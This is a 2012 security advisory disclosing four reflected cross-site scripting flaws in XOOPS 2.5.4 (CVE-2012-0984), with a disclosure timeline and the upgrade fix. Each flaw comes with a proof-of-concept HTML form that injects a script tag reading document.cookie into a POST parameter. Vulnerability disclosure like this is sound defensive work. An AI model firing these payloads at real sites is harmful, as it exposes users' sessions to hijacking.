XOOPS 2.5.4 Cross Site Scripting

Product: XOOPS
Vendor: xoops.org
Vulnerable Version(s): 2.5.4  and probably prior
Tested Version: 2.5.4 
Vendor Notification: 7 December 2011 
Vendor Patch: 22 February 2012 
Public Disclosure: 18 April 2012 
Vulnerability Type: XSS (Cross Site Scripting)
CVE Reference(s): CVE-2012-0984
Solution Status: Fixed by Vendor
Risk Level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in XOOPS, which can be exploited to perform Cross-Site Scripting (XSS) attacks.


1) Multiple Cross-Site Scripting (XSS) in XOOPS: CVE-2012-0984

1.1 Input passed via the "to_userid" POST parameter to /modules/pm/pmlite.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC code is available:


<form action='http://[host]/modules/pm/pmlite.php' method="post">
<input type="hidden" name="sendmod" value='1'>
<input type="hidden" name="to_userid" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn"> 
</form>


1.2 Input passed via the "current_file" POST parameter to /class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC code is available:


<form action="http://[host]/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php?target=1" method="post">
<input type="hidden" name="isadmin" value='1'>
<input type="hidden" name="catreadcount" value='1'>
<input type="hidden" name="catwritecount" value='1'>
<input type="hidden" name="current_file" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn"> 
</form>


1.3 Input passed via the "imgcat_id" POST parameter to /class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC code is available:


<form action="http://[host]/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php?target=1" method="post">
<input type="hidden" name="isadmin" value='1'>
<input type="hidden" name="catreadcount" value='1'>
<input type="hidden" name="catwritecount" value='1'>
<input type="hidden" name="imgcat_id" value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="op" value='editcat'>
<input type="submit" value="submit" id="btn"> 
</form>


1.4 Input passed via the "target" POST parameter to /class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC code is available:
 

<form action="http://[host]/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php" method="post">
<input type="hidden" name="isadmin" value='1'>
<input type="hidden" name="catreadcount" value='1'>
<input type="hidden" name="catwritecount" value='1'>
<input type="hidden" name="target" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn"> 
</form>


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Solution:

Upgrade to XOOPS 2.5.5 Final.

More information:
http://xoops.org/modules/news/article.php?storyid=6284

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